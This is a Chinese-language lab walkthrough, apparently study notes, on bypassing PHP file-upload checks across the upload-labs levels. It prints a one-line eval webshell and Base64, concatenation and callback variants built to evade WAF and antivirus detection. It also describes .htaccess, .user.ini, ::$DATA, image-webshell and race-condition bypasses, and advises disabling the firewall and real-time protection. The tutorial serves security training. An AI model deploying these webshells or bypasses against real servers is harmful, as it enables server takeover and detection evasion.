安全初级 | Upload 文件上传漏洞实操

简介: 本文详解PHP一句话木马原理与17关文件上传绕过实战,涵盖eval/assert等执行函数、POST传参控制、常见变形(Base64/可变变量/回调函数)及绕过技巧(后缀解析、.htaccess、user.ini、图片马、二次渲染、时间差爆破等),面向安全学习与防御加固。

目录

Php一句话木马

怎么利用:

有了一句话木马,可以干什么;

所以用之前把火墙关了,或者实时保护;

开始第一关:

第二关

第三关:apache后缀解析的问题

第4关

第5关

第6关:

第7关:

第8关:

直接到13关:

方法2:

第14关:

第15关:

第16关:二次渲染

第17关:条件竞技


文件上传:我们所构建的恶意文件想办法去绕过限制,然后传送到服务的端;让它把文件保存下来,但是同时,你也要猜到,它最终保存在服务端的哪个位置;

如果不知道位置,那你传来传去,文件就和消失一样,白上传了;

允许上传PDF, 头像,txt ,图片 等

有时候没有限制的话。万一能上传php文件呢

Php(一句话木马)

你是不是得知道这个文件最后保存在什么位置呢;如果你猜不到保存的路径,那你上传了也是没有任何意义的;

你得知道文件传哪里去了,不然白搭

D:\phpstudy_pro\WWW\pikachu\vul\unsafeupload\uploads

假设我把一句话木马文件传上去;把原路径剪切掉,此时只要你能绕过校验,我们就认为你上传成功了

就是你的.php后缀的文件,现在传不上去,因为网页表面弹窗显示,但是,你把.php改成.png

只是作为学习来用;

然后回来看一句话木马是什么?

Php一句话木马

任何语言都有,就是我们平时用的最多的就是PHP

很简单的语句,但是你通过这个文件,你可以直接拿到对方电脑的控制权

PHP一句话木马是一种极简的Webshell后门,通常只有一行代码,攻击者可以利用它向服务器发送任意PHP命令并执行。它的核心是一个能动态执行代码的函数

能执行php代码

问题是我现在要执行的是真正的系统命令,一句话木马是用来执行代码命令

代码命令就是假设:PYTHON,它允许你执行print等;但是我们想执行的是whoami ipconfig 这些,我们把这些命令叫做系统命令;但是现在只能执行代码

那为什么一句话木马还能用呢;

(如eval)和一个接收外部参数的方法(如$_POST)。

🎯 最经典的形态

这是最基础、最常见的PHP一句话木马:

<?php @eval($_POST['cmd']); ?>
  • <?php ... ?>:PHP代码的起始和结束标签,告诉服务器这是一段PHP代码。
  • @:错误控制运算符,可以屏蔽执行时产生的报错信息,让木马更隐蔽。
  • eval():核心函数,它会将括号内的字符串当作PHP代码来执行。
  • $_POST['cmd']:用于接收客户端通过POST请求发送的参数,'cmd'相当于连接木马的“密码”,只有知道密码的人才能控制。

怎么利用:

给cmd去传一个值;正常情况下,这只允许你去传PHP函数,

但我们是

? cmd = system(“whoami”) whoami 属于最终的系统命令

Systemd最终传给了eval, 就把systemd给你执行了;

然后systemd就是真正实行whoami 命令执行的东西

但这个太简单了,太明显了,一写就被杀掉了

注: GET请求直接替换即可

Whoami

黑点是会出现汉字,编码会出现问题

假设你要把文件上传,但是我不允许你生成尖角号<>

Php的尖角号可以用什么替换

死局问题,暂不说

有了一句话木马,可以干什么;

可以通过工具去连接它,连接木马文件,

蚁剑 冰蝎 菜刀 webshell

连接成功后就拥有了控制权了;

⚙️ 它是如何工作的?

  1. 上传木马:利用文件上传漏洞等方式,将包含上述代码的文件(例如shell.php)上传到目标网站的服务器目录。
  2. 发送指令:攻击者通过工具(如蚁剑、中国菜刀)向该文件发送POST请求,请求体中包含要执行的PHP代码,如password=system('whoami');。
  3. 执行指令:服务器上的木马文件收到请求后,eval()函数会将system('whoami')当作PHP代码执行,并将结果返回给攻击者。

通过这个流程,攻击者可以间接控制服务器,执行文件管理、系统命令等操作。

🛡️ 如何实现“免杀”与变形?

由于基础形态特征明显,很容易被安全软件(WAF)识别。为了绕过检测,攻击者会使用各种变形技巧来伪装。

|
变形技巧
|
代码示例
|
原理说明

|
| --- | --- | --- |
|
可变变量
|
<?php $a = "eval"; $b = "a"; $$b($_POST['x']); ?>
|
通过PHP的可变变量特性,间接调用eval函数。
|
|
字符串拼接
|
<?php $a = "e"."v"."a"."l"; $a($_POST['x']); ?>
|
将关键函数名拆分成多个字符串再拼接,避免直接出现eval关键字。
|
|
编码隐藏
|
<?php $a = base64_decode("ZXZhbA=="); $a($_POST['x']); ?>
|
将eval进行Base64编码,执行时再解码,绕过基于关键字的检测。
|
|
回调函数
|
<?php @call_user_func("assert", $_POST['x']); ?>
|
使用call_user_func等函数来动态调用assert等危险函数。
|

除了防火墙,还有实时保护WINDOWS关不掉的,关了也会自动启动

所以用之前把火墙关了,或者实时保护;

题外话:

主机配置,和虚拟机配置不一样;IP也就不一样

两个环境不一样

用BP抓包最好不要用,127.0.0.1

虽然能访问到,但是有时候BP抓不到这个包;

开始第一关:

不仅要保证上传而且要保证上传完要访问到;

发现是基于前端的JS进行校验的;可以绕过;我们甚至可以在浏览器中不让它用JS

就BP抓包

把后缀改成PHP

因为访问的时候,没有携带参数值;所以报错

可以通过抓包传参

蚁键默认用的是POST请求

<?php ?> php 限制和过滤 (php)===》怎么去让服务器正常的吧你的文件作为php文件执行

第二关

Gif

看你属性值是不是这三者的一个,如果是的话,才执行下面IF判断;否则就是文件类型不正确请重新上传;

这一关是通过content-type属性值开始校验的

有时候清空会把文件夹清理掉,新建即可

<?php eval($_POST['phpinfo'];?>

Phpinfo通常会被用作测试

第三关:apache后缀解析的问题

如果是其中一个就会报错

后缀名没有完全的去过滤掉;我们有些中间件APACHE

把后缀名改成:

上传完之后PHP能不能正常的认为是PHP代码并执行

执行后出现info界面就是OK的

第4关

黑名单非常多

你传没问题,你传上去它执行不了,

目录级别的配置文件

创建一个.htaccess 文件,然后把配置写进去;

然后上传;

成功!!!!!!!

目录级别的APACHE起的作用;

第5关

把.htacess给BAN了;

这一题考的是PHP的目录级别的配置文件

Php.ini(.[user.ini]) 当用户访问当前目录下的某类文件的时候,默认先导入某个文件的内容

比如我现在UPdata下面,

Auto_prepend_file=proof.jpg

使用Phpstudy2018

APACHE下面必须要,跟PHP是通过PHP-fpm; 那样的运行方式,这样你的user.ini才可以生效;

尝试切换版本

问AI:如何切换成使用php-fpm

会把文件重命名

这一关是黑名单没有校验全;没有把全是大写的PHP加进去;

后面也没有转小写功能

还有php7;或者phpl

所以说你的黑名单写的再完全,也不可能完全考虑到;

第6关:

·限制大小写,限制点等

加个空格

正常情况下,不显示路径,就只能猜测;

第一个:保证文件能传上去;

第二个:保证你能找到文件

第三个:你去访问文件的路径的时候,还得保证能够被当作php代码执行;

第7关:

和上一关相比,少了一个删除文件名末尾的点

你在文件名后加点本质上还是能被识别为php文件的

依旧执行,完全可以正常识别的

第8关:

刚才的侥幸,在8关就不行了

Windows里面的文件流操作

我们如果想要访问别的文件流的时候,就可以通过默认的数据流也就是真实数据部分

Test.php::$DATA

直接到13关:

它其实就是只校验了你的文件名是不是;我们通过抓包后呢;你可以直接给你的文件前面加一个,GIF89a;这样的话,拿上后就认为是有这个东西的

方法2:

你把改过的JPG文件,

用VSCODE的的16进制编辑器打开;

一般在前面固定的就那几个字符,我就把它叫做magic number; 会根据前面的固定数字,来判断你这个文件,是什么类型的文件;

魔数(Magic Number)是文件头部几个字节的特定序列,用于在操作系统层面快速、准确地识别文件类型,而不依赖于可能被随意修改的文件扩展名。以下是一些常见文件类型的魔数字节(十六进制表示):

|
文件格式
|
魔数(十六进制)
|
备注

|
| --- | --- | --- |
|
JPEG
|
FF D8 FF
|
常见于JPEG/JFIF格式,部分变体以FF D8 FF E0或FF D8 FF E1开头。
|
|
PNG
|
89 50 4E 47 0D 0A 1A 0A
|
固定8字节。
|
|
GIF
|
47 49 46 38 (GIF8)
|
ASCII码对应字符串 "GIF8"。
|
|
BMP
|
42 4D
|
ASCII码对应字符串 "BM"。
|
|
TIFF
|
49 49 2A 00 或 4D 4D 00 2A
|
分别对应小端序和大端序。
|

📄 文档与压缩文件

|
文件格式
|
魔数(十六进制)
|
备注

|
| --- | --- | --- |
|
PDF
|
25 50 44 46
|
ASCII码对应字符串 "%PDF"。
|
|
ZIP
|
50 4B 03 04
|
ASCII码对应字符串 "PK"。DOCX、XLSX等Office文档也是ZIP容器。
|
|
RAR
|
52 61 72 21
|
ASCII码对应字符串 "Rar!"。
|
|
7-Zip
|
37 7A BC AF 27 1C
|
。
|
|
GZIP
|
1F 8B 08
|
。
|

🎵 音视频文件

|
文件格式
|
魔数(十六进制)
|
备注

|
| --- | --- | --- |
|
MP3
|
49 44 33
|
包含ID3标签的MP3文件。
|
|
WAV
|
52 49 46 46
|
ASCII码对应字符串 "RIFF"。
|
|
AVI
|
52 49 46 46
|
同样以 "RIFF" 开头。
|
|
MP4
|
66 74 79 70 (在偏移量4字节处)
|
ASCII码对应字符串 "ftyp"。
|

⚙️ 可执行文件

|
文件格式
|
魔数(十六进制)
|
备注

|
| --- | --- | --- |
|
Windows EXE/DLL
|
4D 5A
|
ASCII码对应字符串 "MZ"。
|
|
Linux ELF
|
7F 45 4C 46
|
ASCII码对应字符串 "\x7FELF"。
|
|
Java Class
|
CA FE BA BE
|
著名的Java咖啡杯魔数。
|

魔数是一种更可靠的识别方式,但并不能保证100%准确。一些文件格式(特别是复杂的容器格式)的魔数可能更长或在文件中的位置不同,有些恶意文件也可能通过伪造魔数来伪装自己。

Ai.png

想要制作图片码;相当于我现在要把我test.php里面的内容追加到刚才的.png的图片里面去;

你可以指定比如生成的图片是test.png; 你的恶意代码就跑到了图片里面去;

可以正常显示图片;用16进制编辑器打开

先传一个PNG

你一张JPG或PNG图片,不能被APACHE交给PHP解析器;

可以上传一个目录级的配置

如果没有配置毛病在的话?

所以要配合文件包含漏洞;

图片码位置

第14关:

也是图片码

Getimagesize函数

就不能补GIF89a了

14关要图片

图片码

第15关:

先查询函数用法

第16关:二次渲染

本关使用 GD 库对图片进行二次渲染——先解码图片为内存图像,再重新编码保存。这个过程会清除大部分附加数据,包括简单的图片马。必须找到图片中渲染后字节不变的稳定区域,将 PHP 代码放在那里。

第17关:条件竞技

白名单:只能是白名单里面的后缀

在test.php中,在指定位置,让其生成一个新的文件;这个文件就不影响

抓时间差

查东西尽量在官网查

AI提示词:读取链接把内容整理成易懂的内容

用BP来尝试

演示:

抓上传文件的包

抓路径的包

第一个包;用来不断去上传文件

第二个包:不断尝试去访问的请求

传文件

5000次

发请求:

让他们一直跑直到访问成功为止

‘

找一个非404的

停止到17

相关文章
|
9天前
|
JavaScript API iOS开发
DeepSeek Harness下载、安装、配置一篇搞定(2026整理,送常用插件)
DeepSeek Harness(DSH)是DeepSeek于2026年开源的MIT协议AI Agent框架,支持插件化组装模型、工具、沙箱与UI,兼容主流大模型。本文提供免Node.js的桌面端安装包(Win/macOS),含详细图文教程及热门插件推荐。
3752 37
|
8天前
|
Linux 开发工具 iOS开发
Codex保姆级教程(下载+安装+登录+使用,含所有版本,2026最新)
Codex是OpenAI推出的开源AI编程智能体,本地运行,可理解整个代码库,支持自然语言指令改代码、执行命令、跑测试、修Bug,兼容Win/macOS/Linux。(239字)
3344 10
|
3天前
|
云安全 人工智能 安全
|
9天前
|
iOS开发 Docker MacOS
【2026实测】Docker Desktop下载、安装、汉化、配置教程(附官网安装包)
Docker Desktop 是 Docker 官方推出的桌面容器管理工具,集成引擎、CLI、图形界面与 Kubernetes,支持 Win/macOS/Linux。2026 最新版 4.88.1 强化 ARM 原生运行、镜像加速及资源可视化,附中文汉化与国内镜像配置指南。
1713 6
|
9天前
|
安全 算法 定位技术
《高性价比人生指南》完整原版:普通人用最少的资源,过好这一生的底层逻辑~How To Live Better
📖《高性价比人生指南》是一份基于实证、拒绝焦虑的生存手册,倡导以“人生时薪”为视角,重新计算时间、金钱与精力的成本与收益。它不承诺逆袭,只教人算清账:省下的钱若耗掉时间便亏;买体验比买物品更值;睡眠是最高杠杆的健康投资;关系贵在情绪价值而非表面热络;学习重在改变行为而非自我安慰。核心理念:用低成本、高回报的微小行动,换取长期的选择权——不是成为谁,而是掌控自己人生的主动权。
2039 4
|
云安全 安全 网络安全
|
22天前
|
人工智能 API 开发工具
DeepSeek Harness 神插件:白嫖 13 家大厂模型
`dsh-our-free-model` 是 DeepSeek Harness 神级插件:零配置、零API Key、零账号,聚合13家大厂免费模型(含DeepSeek V4.1 Flash、Kimi K3等),支持本地网关、用量看板与自动降级,真正实现“白嫖即用”。
3929 55
|
14天前
|
人工智能 JSON Linux
【保姆级】ComfyUI部署教程(下载+安装+配置+工作流,2026最新)
ComfyUI 是一款开源节点式AI生成工具,支持图像、视频、音频及3D内容创作。通过拖拽连线组合模型加载、提示词、采样等节点,构建可复用、易修改的工作流,兼容SD1.5、SDXL、Flux、Qwen Image等主流模型。